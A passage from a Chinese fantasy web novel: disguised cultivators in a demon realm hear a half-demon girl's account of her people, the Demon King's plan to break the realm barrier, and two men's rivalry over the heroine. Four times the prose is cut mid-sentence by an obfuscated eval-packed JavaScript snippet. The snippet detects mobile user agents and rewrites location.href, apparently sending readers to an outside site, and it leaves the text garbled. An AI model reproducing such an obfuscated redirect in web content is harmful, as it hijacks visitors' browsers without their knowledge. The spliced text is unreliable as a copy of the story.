结合先前从马、鹿二妖那里得到的信息,眼前少女的身份不言而喻。 果然,少女在思量片刻后,说出了自己的猜测:“你们是人。”这次不是疑问,而是笃定。 如果他们是妖,自己此刻定然已经没命了,就像她这一路以来见到的一样。 确认了他们同类的身份,少女明显放松不少,主动上前与他们攀谈起来:“你们是从哪儿来的?我以前怎么从未见过你们?” “我们一族一直隐世而居,从未下过山,你自然不曾见过我们。”林子满面不改色地瞎编。 少女了然:“那你们也是因为妖王,才被迫下山的?” “妖王?”林子满眼睛微眯,故作迷茫地问,“与妖王有什么关系?” 见少女眼神狐疑,她重重地叹息一声:“其实我们根本不知道发生了什么,稀里糊涂地就被长辈赶下山了。” “你也看到了,我们这些人年纪都不大,族里的大事也轮不到我们参与商议。”迟渊适时插嘴,“前些日子,族里的长老突然就让我们这些小辈收拾好行囊,尽快下山躲起来,连解释都未留过一句,我们至今都没搞懂发生了什么。” 少女看着这群比自己高出快两个头的人,额角忍不住微微一抽。 这也能叫年纪不大?隐世而居便如此懈怠吗?她这个年纪都已经开始独挑大梁了,他们却还连发生了什么都不知道? 原本以为自己有了一群帮手的少女失望地垂下了眼。 这些人不拖后腿都算好的了,还指望他们能帮上自己什么? “听你刚刚的话,你是知道我们被赶下山的原因?那你能跟我们说说吗,不然我们还不明就里,一直被蒙在鼓里呢。”林子满装作没看出她的失望,自来熟地搭话,“还没问你叫什么呢,我叫林柿,很高兴认识你。” 少女看着眼前天真无邪、丝毫没有防备心的人,到底没有一走了之,人家再怎么难当大任,也比现在自己孤身一人强些,她哪来的底气嫌弃别人? “我叫石云,自灵泽而来。”少女勉强振作起来,“你们想知道的事,我可以告诉你们,但前提是你们得答应帮我个忙。” 灵泽? 这不就是先前鹿口中的妖王所居之地,妖都如今最繁华的地方? 在他们之前来抢地盘的那些人族,也是自灵泽而来,莫非跟这名叫石云的少女有什么关系? 住满大妖的灵泽,怎么会有人族的存在?又为什么突然被赶了出来? 一连串的问题萦绕在脑海里,林子满不动声色,继续维持着自己的人设:“不必这么见外,大家都是人族,自然是要互帮互助的,有什么事你就直说,我们一定会帮你的!” “是啊是啊。”迟渊附和道,“从小长老就告诉我们,要乐于助人,虽然我们没什么本事,但能帮的我们一定会帮。” 见他二人如此爽快,石云感动之余也不再扭捏,直白道:“我想让你们帮我救人。” 林子满:“救人?救谁?” “我哥哥,还有我的族人,他们都被妖掳走了。”石云的声音低落下去,“我们先前遇到了一群来追杀我们的妖,混乱中我不慎滚下了山坡,等醒来的时候,他们都没了踪影。” “好好的怎么会有妖追杀你们?”迟渊疑惑问道,“你方才不是说你自灵泽而来么?听说灵泽住满了大妖,若他们当真要赶尽杀绝,妖都怎么可能还会有人族的存在?” “曾经的人族自然是要畏畏缩缩才能苟且偷生的,哪敢出现在那些大妖面前。”石云苦笑一声,“也就是这几十年我们才好过了些,在我祖父那辈,连靠近灵泽都不敢,更别说住进去了。” “若非整日东躲西藏,如蝼蚁般在夹缝中寻求一丝生机,这数万年来,我们这些低劣的‘杂种’早就死绝了,哪还有机会重新冠上人族的名号?” 她虽是自嘲,语气中却透着一股浓重的悲凉。 众人一时沉默无语,没人能知道,在这弱肉强食的妖都,他们要付出多大的代价才能活下来,苦苦挣扎的上万年又是多么绝望无助。 “扯远了,我的情况大致就是这样。”片刻后,石云搓了搓脸,一身的颓丧与伤感淡去,又恢复成那个少年老成的坚韧女孩,“你们呢,想知道些什么?” 不需要人安慰,也容不得自己伤感多长时间,在妖都成长起来的人,没有资格去多愁善感、怨天尤人。 林子满斟酌着开口:“你方才说的‘杂种’,是什么意思?” 石云一愣,见他们一脸迷茫,眼里是清澈的无知,并非是在故意挖苦她方才的自嘲,而是当真不知道。 她顿时有些无力:“你们连自己的来历都不知道?” 林子满无辜道:“什么来历?我们不就是人吗?” “你们就没想过自己为什么会生在妖都而不是人界?在这个遍地是妖的地方,明明我们这些‘人族’才是异类。” “我们自然也是想过这个问题的。”迟渊脑子转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902853|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得极快,须臾间便想好了合理的说辞,“族长告诉我们的是,当年两界被分开时,有部分人族,也就是我们一族的祖先,被遗留在了妖都,为了活下去,不得不躲进深山隐居起来,从此再未下过山。但他从未提过什么‘杂种’的事啊。” “他八成是骗你们的。”石云猜测道,“那位以身为界、结束了两族纷争的仙人便是人族,他怎会这般大意将人族遗留在妖都?” “你们族长的本意或许是好的,人族寿命不过几十年,若藏身于深山便真的能躲过去,又何必背负这些沉重的事情?但世事哪会这样顺人心意?”说到这儿,她的语气里有些不赞同,“逃避是解决不了问题的,什么都不知道固然轻松悠然,但像你们这样稀里糊涂地在妖都晃荡,若非遇到我,岂非什么都不知道就被妖族追杀怠尽了?” “那我们,究竟是什么来历?” “我们啊……”石云轻叹一声,“一群半妖的后人罢了。” 她眯眼看着天边的流云,仿佛看见了一代又一代先祖,那破碎如云般的一生。 当年人族与妖族来往尚盛时,诞生了许多混着两族血液的孩子,因着那半身妖血,他们出生时大多有着无法隐去的妖族原身,被人称为半妖。 后来人妖两界被阵法分开,大部分半妖都被留在了妖都。 当时两族交恶,身体里流着人族血液的半妖就成了妖族眼里肮脏下贱的杂种,备受歧视。 半妖血脉不纯,大多妖力低微,受尽欺凌却无力反抗,只能同类相依、报团取暖,在妖都艰难求生。 这样一代代传承下来,后人身上属于妖族的血脉愈发稀薄,几乎不能再称为半妖,大部分新生儿自出生起就不再具备妖族特征,因此,他们重新赋予了自己人族的身份。 即便在妖都人族比半妖更不受待见,他们也坚持着自己人族的身份,学着口口相传的故事中修士的模样,着道袍佩铁剑,像维护自己唯一的信仰一般固执。 但他们虽扮作修士,却与凡人并无二致。妖都灵气稀薄,难以修炼,人族比起半妖来,生存环境更为艰难,半妖尚能勉强自保,无法使用妖力又几乎不能修炼的人族,轻易就能成为妖族的口粮。 数万年的艰辛,说起来却不过寥寥数语,轻飘飘如同一粒尘埃,但这尘埃落在亲历之人身上,却是压塌了脊梁的一座座大山。 但即便如此艰难,他们还是一代又一代地活了下来。 见众人都表情凝重地看着自己,眼里满是同情,石云有些不自在地笑笑:“不过我们这一辈还算运气好的,至少过了十几年安生日子。” “我从小就听祖父讲他们幼时的故事,那是真正的生如蝼蚁,每日都过得如履薄冰,随时有可能丢了性命。” “若非妘娘娘,我估计也是从小就过着那样的日子,当然,更大的可能是我根本没机会出生。” 林子满敏锐地抓住了她话里出现的人物:“妘娘娘?” “妘娘娘是上天赐给我们的守护神,无比的温柔、强大、美丽,是族里每个女孩都向往的存在。”说到这里,她难得露出了些少女特有的羞涩娇憨,“我的名字就是为她而取的,虽然我远远不及她,但我也想像她那样,保护好亲人,守护好人族。” “莫非她能够修炼?是修士?”有能力在妖都守护人族,还令其能够住进灵泽,必然不是普通人能做到的。 石云摇了摇头:“若真正算起来,她其实是妖。” “但在我们心中,她是神。” 37. 妘娘 八十年前,妖都一个不起眼的人族村落里,诞生了一名女婴,小名唤作妘娘。 这位妘娘自小便生得玉雪可爱,长到十几岁时已显露出了惊人的美貌。若她生在人界,必然受尽追捧,万人倾慕,可她偏偏出生在这朝不保夕的妖都,美貌成了最不值一提的东西。 后来,她所居村落被妖族发现,遭到大肆屠杀,混乱中妘娘亲眼见双亲被生吞活剥、尸骨无存,巨大的刺激令她血脉返祖,现出了妖相。 妖都现存人族祖上大多是普通的狼妖树精,即便偶尔出现返祖,也掀不起什么风浪。 妘娘却不同于此,她身上流着的是青狐一族的血。青狐一脉是狐族最为尊贵的一支,当今妖后便是一只青狐。狐族虽妖力不高,但魅惑之术无人能及,青狐更是其中翘楚。妘娘本就极美,返祖后容貌更甚,现出妖相时,刚巧有一位大妖路过,当即便对她一见倾心,誓要娶她当夫人。[1] 那位大妖替妘娘杀了所有前来挑事的妖,见妘娘不愿跟他走也不曾逼迫,而是给她留下了一道妖力自保,每月回去看望她一次,等着她愿意接受自己的那一天。 所有人都以为她会誓死不从,毕竟妖夺去过太多他们亲人的生命,对妖族的恨从小就在他们心里生根发芽,没有人会愿意委身于一只妖。 但没过多久,村落便又一次遭到了妖族的袭击,若非大妖留下的那道妖力,他们估计会全军覆没。 等到大妖再来时,妘娘妥协了,说她愿意做他的夫人,但是他要答应自己一个条件。 大妖同意了。 次日,妘娘收拾好行囊,带着村里幸存的人,随大妖回了灵泽。 此后几十年,妘娘借着那位大妖的势力,庇护了许多的人族。 她向大妖讨要了一座山头,里面安置着从各处救来的人族,大家在此男耕女织,自给自足,过上了他们梦寐以求的生活,即便这样安稳的生活是靠着他们最为憎恶的妖才得来的。 那位大妖是妖王手底下的得力干将,势力极大,即便是在灵泽,一般也无妖敢去招惹他。更别说以灵泽那些妖的身份地位,根本不屑于与一群自诩人族的半妖后代计较,因此即便知道有一群人族住在灵泽,且数量越来越多,也从未有妖上门找过麻烦。 这些年是上万年来人族唯一过得安稳的几十年。 但好景不长,妘娘不久前病逝了。 她一死,人族的处境就变得尴尬起来,那位大妖看在她的面子上,虽未为难他们,却也不愿再在自己的山头上养一群人族,因此将他们全都被赶了出去。 没了大妖的庇护,弱小的人族又怎可能在灵泽争得一处容身之地?他们只能狼狈地逃离了灵泽。 “就这样,受妘娘娘保护了几十年的人族,又重新过回了以前那样的生活,朝不保夕、东躲西藏。”石云的语气里有着不属于她这个年纪的成熟,“这些天看着无数族人死于妖爪之下,我才真正体会到了祖父所说的生存之艰,也更加明白了妘娘娘的伟大。” “照理来说,她若当真血脉返祖,就应该已是妖身,又怎会轻易病逝?”一直沉默的秦扬忽然问道。 石云有些难过地说:“我们所住的山头虽是那位大妖的地盘,却是没有资格进他洞府的,平时都是待在山上,等着妘娘娘来看我们。这次她病逝,我们连她最后一面都未曾见到,只能在山上遥遥送她最后一程。” “你们就没怀疑过她其实没死?” “怀疑又有什么用呢?”石云苦笑,“我们有实力去质问那位大妖吗?妘娘娘死讯传来时,很多人都不信,吵着闹着要去那大妖的洞府里看看,可结果呢?被看门的妖挥挥手就扇了回来,摔得头破血流还得感谢人家手下留情。” “我们也不愿相信,可不得不信啊。再闹下去,惹怒了大妖,大家都得死。” “若真能为妘娘娘做些什么,死又算什么?可事实是就算我们所有人搭上性命,也根本改变不了任何事,这样无谓的牺牲只会白费妘娘娘的苦心。我们只能努力活着,只有活着,才有希望。” “可即便我们如此努力,活着也成奢求,也不知道哥哥他们如今……”石云的声音哽住,后面的话再说不下去。 他们已经失散好几天了,人族落在一群妖手里,怎么想都是凶多吉少。 林子满忽然想到什么,问:“你们之前可是去过石城?我们先前从石城那边过来,有妖将我们认作了曾经去抢地盘的人。” 石云点点头:“从灵泽离开后,我们无处可去,只能在妖都四处流浪。我们也曾试着去投奔其他人族,从前妘娘娘还在的时候,经常会带着我们去拜访她知晓的人族村落,与不愿搬至灵泽的人族交流感情。但这次我们找过去时,发现很多村落都遭到了妖族的袭击,大部分伤亡惨重,有的甚至无人生还,我们不得不另寻他法。” “石城远离灵泽,位于妖都边缘地界,只有妖力、地位都极低的小妖才会居住于此,极少会有大妖涉足,那里的妖连原形都无法隐藏,大多实力不强,因此我们大家商议一番,决定去石城搏一搏,看能不能在那里谋一处安身之地。” “但我们还是想得太简单了。”石云叹了口气,“即便只是妖力低微的小妖,也不是我们能轻易对付的,虽无人伤亡,我们也只能灰溜溜地离开。” “谁知才离开不久,竟又碰上了一群妖,不同于石城那些小妖,这群妖实力强得多,且明显是冲我们来的。” 林子满不解:“冲你们来的?” 石云点点头:“也是那时我们才明白为什么那么多人族村落会突然被袭击,为什么我们这一路上遇到得各种妖都要对我们下死手,仿佛他们对我们的敌意突然变得更加强烈了。” 强烈到被赶出灵泽都是好听的说法了,真实情况是他们一群人几乎如丧家之犬般狼狈躲藏,妖口逃生。 上万年时光过去,妖族虽依旧厌恶人族,却也不再像之前那般嗜杀,甚少出现这种一路追杀至妖都边缘地界的情况。 而之所以会发生这样的转变,缘于不久前妖王进阶的失败。 此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902854|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任妖王年岁已高,此次冒险突破却进阶失败,意味着他不能靠提升境界获得更长的寿命,若寻不到其他法子,恐怕是寿数将尽。 即便是拥有过漫长生命的强大妖王,在面对死亡时依旧会心存恐惧,他想尽办法,却仍然逃不过天道定下的法则。 就在此时,妖族二王子献上一计:若能破除人妖两界的阵法,重回人界,或许能得一线生机。 即便他们看不起那些卑劣的人族,也不得不承认人族才是天道的宠儿,他们生来无獠牙利爪,却有着远胜于妖的灵智。妖族进阶只能靠自己硬抗,人族却能炼制灵丹提升修为,甚至布下阵法抵抗雷劫,若能重回人界,或许当真能寻到突破的法子。 妖王沉思片刻,大喜,重赏二王子,同时颁下诏令:举全族之力,寻重返人界之法,成功破除隔绝之阵者,不论出身与实力,赐仅在妖王之下的相位,于大计最有功的王子,定为下一任妖王。 重返人界这个念头,每任妖王都动过,但每每有去做的,都无功而返,渐渐的,大家也就歇了这门心思。 这次重提这件事,虽是以妖王寿数将近为由,但他心里也清楚,生死是最难改变之事,即便重返人界,他突破的希望也微乎其微。 但他若当真能在有生之年,带着妖都子民回到修真界,完成万年前先辈未竟之业,让妖族居于人族之上,即使没能突破,这一番丰功伟绩也将令他成为最伟大的一位妖王,他将千秋万代地受子民供奉,永垂不朽。 如此,也算得上是另一种意义上的永生。 妖王子嗣众多,又一直没有明确继位者,对王位有一争之力的都铆足了劲讨他欢心,二王子在其中本不是佼佼者,但此次诏令一出,他的地位瞬时便发生了变化,与往日大不相同了。 与其他大妖不屑与人族扯上关系不同,二王子向来残暴,最喜以人族为食,洞府里甚至有处地方专门圈养着人族,供自己猎杀捕食。 因着对人族这种嗜血的“偏爱”,他一直奢望着有朝一日能去那满是人族的人界大开杀戒一番,因此这些年来一直留意着搜集有关两界隔离阵法的消息,这样一来,妖王众子中,他反倒成了将来最有希望继位的那一位。 “如今最得妖王青眼的,除了妖后所生的七王子,便是这位二王子了。不少想要讨好他的妖投其所好,大肆在妖都捉拿人族送与他。估计你们长老也是听到了什么风声,才让你们赶紧离开隐居之地。” 可是按理来说山下比山上危险得多,那些长老不可能不明白这个道理,但他们既然做出了这样的决定,说明情况可能更加糟糕。 “你们的藏身之所可能已经被发现了。”石云斟酌着语句,“所以他们才不得不匆匆将你们赶下山,连前因后果都未曾解释,只来得及叮嘱一句让你们躲起来。” 众人沉默不语,脸色都有些不好看,情况比他们预想的还要麻烦,就算他们能阻止一个驭妖宗,难道还能阻止得了妖王吗? 这幅模样落在石云眼里,刚巧就成了他们在担忧族人的安危。 38. 异类 “当然,这只是我的猜测,你们此前既然从未被发现过,说明你们所居之地定然极为隐蔽,极少会有妖涉足,这次说不定也能逃过一劫。”石云终究有些不忍,开口安慰道。 但这番安慰实在难以令人信服,众人的脸色并未因此有所和缓。 过了片刻,秦扬仿佛想到什么,问道:“照你先前话里的意思来看,妖王之位岂非就是那二王子的囊中之物了?若他当真成了妖王,人族还能有活路吗?” 林子满也反应过来:“你方才说还有一位七王子,他又是个什么情况?他也一直在研究那阵法?” “那位七王子是妖后唯一的孩子,听妘娘娘说他自小便妖力高强,且深得狐后真传,一手青狐族秘术使得炉火纯青,最擅操控人心,极得妖王喜爱。但此人神秘莫测,已许久未现于人前了,此次也有传闻,说他其实早就离开了妖都,潜伏进人界寻破阵之法了。”石云回想着这些天听来的传言,“目前能与二王子有一争之力的,估计就只剩他了。” 听着听着,林子满的神色愈发凝重起来:“这传闻有几分可信?若如此轻易就能离开妖都,妖王何必还这般大费周章?” “这我就不知道了。”石云摇了摇头,“此前妘娘娘与我们说起时,也只是说他确实许久未曾出现过了,应该是已经离开了灵泽。但他离开妖都的说法,是近些天才有的,也不知是从哪里传来的。” 说到这儿,她带着些希冀,不自觉喃喃道:“若他真的离开了妖都,我们是不是也能想办法离开?或者说,那阵法如果真的能被破除,我们是不是……就能回到人界了?” 林子满眼神复杂地看着她,对人界来说,隔绝之阵象征着和平与安宁,保护着他们免遭妖族的杀戮。而对妖都里这些“人族”而言,那是困住他们的牢笼,使他们祖祖辈辈都活在妖族的阴影之下。 若以后她发现,这些她坦诚以待的同类,是来阻止阵法被破坏,是来打破他们唯一一点希望的,会不会很后悔没直接杀了他们? 他们被妖族排斥,被人族遗忘,孤独地在这满是敌人的世界里坚持着可笑的身份,却永远得不到救赎。 林子满轻声问:“你很想回人界吗?” “当然!”石云有些不可思议地看着她,“难道你不想回去吗?回了人界我们就不用再经历这些了,没有人会再把我们当异类!” 她话音刚落,忽然又有些不确定了。 他们真的不会继续被当成异类吗? 毕竟,他们并不算真正的“人族”,即便过去了上万年,身体里依旧有妖血,依旧存在着返祖化妖的可能。 人族会承认这样的他们吗? “妘娘娘说过,人与妖不同,人族都是善良包容的,肯定会接受我们的,只要回到人界,我们就再也不用过这种担惊受怕的日子了!”石云语气坚定,不知是在说服林子满,还是在说服她自己。 林子满轻轻叹了口气,没忍心点破,他们连活着都已极不容易,若连一点盼头都没有,这日子还怎么过? 两人都不愿再继续这个话题,转而说起了救人的打算。 “我们该怎么救你族人,你知道他们如今的去向吗?”林子满问道。 妖都这么大,若就这么漫无目的地找,怕是还没等他们摸过去,人就都被吃干净了。 “他们一路上都有留下标记,我就是循着那些标记一路追过来的,只是不知为何,到了附近那标记忽然就没了。你们给我一点时间,我一定能重新找到标记的。” “那标记是何种模样?你不介意的话可以告诉我们,我们帮你一起找,这样也快些。” 石云摇了摇头:“不是我信不过你们,只是我们一族的标记极为隐秘,一般人就算看见了也区分不出来,这一时半刻的,你们应当也学不会。放心吧,我一个人可以的。” 语毕,石云就蹲下身子,在四周搜寻起来,他们帮不上什么忙,只能站在一旁远远看着。 “如果那位七王子当真早就离开了妖都,入了人界,你们说,有没有可能他就是周余?”迟渊突发奇想,大胆猜测了一番,“这样就能解释他为什么能如此轻易地操控妖兽,又为什么一直在寻破阵之法。” “不可能,师父他怎么可能会是妖?”莫叶声下意识反驳,一时却又拿不出有力的证据证明。 “周余怎么说都有三四百岁了,那七王子才多大,他们怎么可能会是同一人?”秦扬忽然出声,有些匪夷所思地看向迟渊,“迟少主莫不是连这点都没考虑到?” 迟渊:“……” 他怎么感觉自己被阴阳怪气了? 但很快,他发现了秦扬话里的漏洞:“你怎么知道七王子多大了?石云方才并没有说他的年纪,你怎么就知道他没有三四百岁?” 秦扬微微一顿,神色不变地迎上迟渊审视的目光:“你没听她说么,关于七王子身世的事,是那位妘娘娘告诉她的,若七王子三四百年前就已离开妖都,何必还要将一个几百年都未曾出现过的人打探得这样清楚?” “况且听石云话里的意思,那位妘娘娘应是见过七王子的,否则不会说他确实许久未曾出现过了。她既见过七王子,说明七王子离开妖都是近几十年的事,那他怎么可能会是周余?” 这番解释确实有理有据,令人挑不出毛病,但迟渊还是觉得哪里有些不对劲。 “再说了,莫师弟曾跟我和林长老说过,他师父极为厌恶狐妖,凡遇必诛,若他真是妖后之子,怎会对自己的母族怀有这样大的恶意?”见迟渊还是用有些怀疑的眼神打量他,秦扬直接搬出了林子满。 见林子满点头,迟渊只能就此作罢,犹疑着转移了话题:“那现在怎么办,当真要陪石云去救她的族人?” 话里的意思,是不赞同此事。 林子满明白他的顾虑,如今的形势恐怕比他们原本预想的还要危急,以往逃到人界的妖大多妖力不高,能够通过阵法薄弱处尚能理解,但那位七王子肯定不属于小妖那一类。 如果传言是真的,那说明已经有大妖能避过阵法离开妖都了,这实在不是一个好消息,毕竟随着时间推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902855|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移,阵法的力量会愈发薄弱,那离妖王重回人界,是否也不远了? 他们现在不仅要阻止阵法被破坏,还得想法子修补阵法,防止它的力量继续衰弱下去。 若两界间的阵法当真不复存在,妖都与人界重新相接,且不说过了上万年安逸日子的修真界岌岌可危,毫无反抗之力的凡人才是真的要迎来灭顶之灾,若处理不当,人间炼狱的惨状将会再次上演。 而他们这一行人实力虽不弱,但在这妖都也称得上一句孤立无援,行差踏错半步都有可能万劫不复。石云的族人如今也不知到底是什么情况,她的话又有几分真几分假,就这般贸然跟去,还有没有命回修真界都难说。 若无人将这些消息带出去,待到两界阵法被破那一日,毫无防备的人族必然不是来势汹汹的妖族的对手,更不必说修真界还有一个包藏祸心的驭妖宗不知在打什么算盘。 过了片刻,林子满提出一个折中的法子:“这样吧,你们继续先前的计划,去灵泽走一趟,也能顺便探查石云所说消息的真假,我陪她去救人。” “不行,你一个人怎么救?岂不是去白白送死?”迟渊不赞同。 “我同长老一起去。”秦扬插嘴道。 “你?”迟渊上下打量了他一番,不信任道,“一个金丹初期,多一个你又有多大区别?” 林子满摊摊手:“如今也只能兵分两路了,难不成你还有其他的法子?” 迟渊沉默片刻:“就非帮她不可吗?” “我们先前就答应了帮她,她这般信任我们,我们总不能真让她孤身一人去送死吧?” 石云长在妖都,防备心自然比一般人强出许多,会对素未谋面的他们和盘托出,不过是因为他们同为人族,她不是信他们,而是信他们人族的身份。 如今他们难道因为要救人界的人族,就放弃这在妖都夹缝里求生的同类吗? “你放心,我不会乱来的,自己的实力如何我心里还是有数的。若情况糟糕,实在救不了,我不会出手的。”林子满顿了顿,“毕竟你也知道,我这条命金贵得很,不是我想不要就能不要的,我怎么会为了救别人让自己丧命?” 二人对视良久,迟渊无可奈何地叹了口气,知道自己这次依旧说服不了她,只能妥协:“那你带时客一起去,他身手好,能帮上不少忙。” 林子满拒绝道:“还是让他跟着你们吧,毕竟你们要去的是灵泽,厉害的大妖不知凡几。妖都灵气稀薄,布阵结印的效果皆不如外界,你在这儿就是个花架子,可比我危险多了。” “我再怎么花架子,也是个化神期修士,带了好几个护卫,若真遇到解决不了的敌人,还能随时启动阵图返回焦林谷,哪里就危险了?再说了,此去是暗中查探,我们会避免与他们正面交锋。”迟渊语气坚定,不容拒绝,“你若不答应就别想去救人了,带个行动不便的人虽然有些麻烦,但我也是不介意的。” 他语气认真,不带丝毫玩笑的意思,林子满知道他真干得出将她打晕了强行带走的事,只能无奈应下。 39. 冒犯 夜幕降临,石云直找到天边最后一丝光亮消失,还是没找到族人留下的标记,只能垂头丧气地坐在火堆旁。 “没事,我们陪你慢慢找,总能找到的。”林子满安慰道。 在她的安抚下,石云的心情刚缓和一些,迟渊的一句话又炸了她个措手不及。 “有件事忘了告诉你,我们不能陪你去救人了。” 石云猛地抬起头来,急声道:“你们不是答应过我的吗!怎么能突然反悔?” “是不是因为我一直没找到标记?我、我会找到的,明天之前我一定能找到!”她抽出一根燃着的木头,着急忙慌地要往一旁走,“我现在就去找,你们信我,我真的能找到的!” “你先别急,我们不是要反悔。”林子满一把拉住她,“这地上全是碎石子,就算打着火把也看不清,还是明早天亮了再寻吧。” 石云僵着身子站在原地,半信半疑地看着她。 林子满无奈地叹了口气:“真的不骗你,我们不会丢下你,让你一个人去救人的。” “那,那他刚刚说的是什么意思?”石云迟疑着不敢信。 “就像先前猜测的那样,长老这么急着将我们赶下山,极有可能是我们先前的藏身之地被发现了,那他们现在的处境相比也极为危险,我们怎么可能就这么心安理得地弃他们而去?”林子满将她按回原地坐好,“所以我们决定让一部分人回山上看看情况,我们几个陪你去救人。” 石云看着林子满指出来的几人,嘴唇微动,就这么几个人,怎么去救人? 但她到底没说什么,人家跟自己非亲非故,还有自己的族人等着要救,愿意冒着性命危险来帮她已经仁至义尽了,她还能埋怨什么? 只是……原本所有人一起去,都不一定能成功将哥哥他们救出来,现在就剩这几个人,成功的希望越发渺茫了。 石云情绪更加低落,盯着火堆发起了呆。 迟渊看了她一眼,忽然站起身来,给时客递了个眼神,随后向不远处的小树林走去。 他在树后等了片刻,时客悄无声息地走了过来。 迟渊转身望了望他身后,见无人跟过来才开口道:“此次你随他们去救人,有几句话我要提前嘱咐你。” 时客安静地听着。 “那小丫头看似对我们知无不言,却一直没明说抓走她族人的那群妖实力如何,但我猜八成不是普通的妖。” 如果凭他们这群人就能顺利将人救出来,石云不会一直没细说那些妖,就像是怕他们被吓住了,会不肯陪她去一般。 “虽然她误将我们当成普通人族,错估了我们的能力,你们也不可掉以轻心。若当真找到了她的族人,商议救人事宜时,切莫只听她一人之言,也不可任她调遣,一切还是要以己身为重。” “我明白了。”时客轻声道。 “若诸事顺利,事了之后你直接带他们回人界,不要在此地逗留,也不必去灵泽寻我们。” “可是……”时客蹙起眉头,“灵泽危险重重,我去也能帮上一二。不如让林长老他们先走,我留下来帮你们?” “不必,你与他们一同离开。”迟渊摆摆手,“此处距离灵泽还有不短的距离,也不知你们还要多久才能找到石云的族人,万一你到灵泽时我们已经离开,你怎么出去?” 时客还想劝说,被他以眼神制止,只能悻悻地垂下了头。 将迟渊交代的事情都记下后,时客行了个礼,又如来时般悄没声息地离开了。 迟渊刚要踏出树林,准备往火堆旁去,眼角余光瞥见一个人影,他偏头看去—— 是秦扬。 迟渊微顿,犹豫片刻,脚步一转,朝正挥剑准备砍树枝的人走去。 “你砍这树枝作甚?” 秦扬掀起眼皮,懒懒看了他一眼,不急不慢道:“是迟少主啊。” 他手下动作不停,三两下便削下来一大堆,凌乱地散了一地:“自然是砍了拿来烧啊。” 迟渊不解:“这新鲜的树枝如何能烧?不该去捡些枯枝来么?” “为何不能烧?”秦扬状似困惑地反问了句,随后抬起左手悬于空中,掌中微光闪过,无数细小水珠自地上飘起,聚于他手掌之下。 他手腕一翻,水珠便顺势而动,落在了右手长剑上,将那柄沾染了绿色汁水的剑冲洗得干干净净。 再看地上那堆新鲜树枝,早已变得枯黄干脆,轻轻一碾便能化作碎渣。 “你看——”秦扬朝他露出个得意的笑,“这不就能烧了,何必再费那功夫到处去找枯枝?” “妖都本就灵气稀薄,何必浪费灵力做这种事?”迟渊皱眉,“更何况我们还需掩藏身份,你这般行事岂非容易暴露?此去救人本就危险,你如此不知轻重,我怎么放心让你与林柿一同去?” 秦扬哂笑:“迟少主未免有些小题大做了吧?不过是一道简单的御水术,我既敢用,自然是有不会暴露的把握。” “至于林长老,不用迟少主提醒,我也会拼尽全力护她周全。”他朝前走了几步,凑到迟渊面前,充满恶意地轻声道,“毕竟,她可是我师娘。” 闻言,迟渊瞳孔骤然一缩,愕然地愣在了原地,过了片刻,才难以置信地重复了一遍:“……师娘?” 秦扬点点头,又有些惊讶地问:“迟少主难道不知道吗?不是说你与林长老是少时好友么?怎么连这么大的事都不知道?” 迟渊嗓音干涩:“你师父是谁?” 秦扬:“永凌山掌门,吕秉清。” 吕秉清?迟渊细细回想了一遍,虽不认识,却隐约觉得有几分耳熟,像是在哪儿听过。 但怎么可能呢,她怎么可能已经成亲了?她明明还未放下杨之曜,怎会与旁人成亲?这里面难道有不为人知的内情? 见秦扬笑盈盈地看着他,迟渊思绪回笼,忽地反应过来:“你突然跟我说这个干什么?” “不干什么呀,只是觉得迟少主好似与林长老走得有些近,忍不住提醒一二。”秦扬耸耸肩,“毕竟过去的事已经过去了,这世上是没有回头路可走的。就像这堆树枝,原本再怎么鲜活,抽去水分后,就与那死了多年的枯枝毫无区别。所以,还望迟少主清楚彼此现在的身份,莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902856|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要做出些出格的事。” “哦?”迟渊冷笑一声,“你这是打着你师父的名头来警告我的?” 他盯着秦扬那双暗藏敌意的眼睛:“既如此,也望你记牢自己的身份,别忘了自己该叫她一声‘师娘’。” 他没有明说,却知道秦扬听得出他话里的意思。 自己的心思被看穿,秦扬微微一顿,却丝毫没有慌乱的意思,他眼睛微眯:“这是我与她之间的事,就不劳迟少主费心了。” 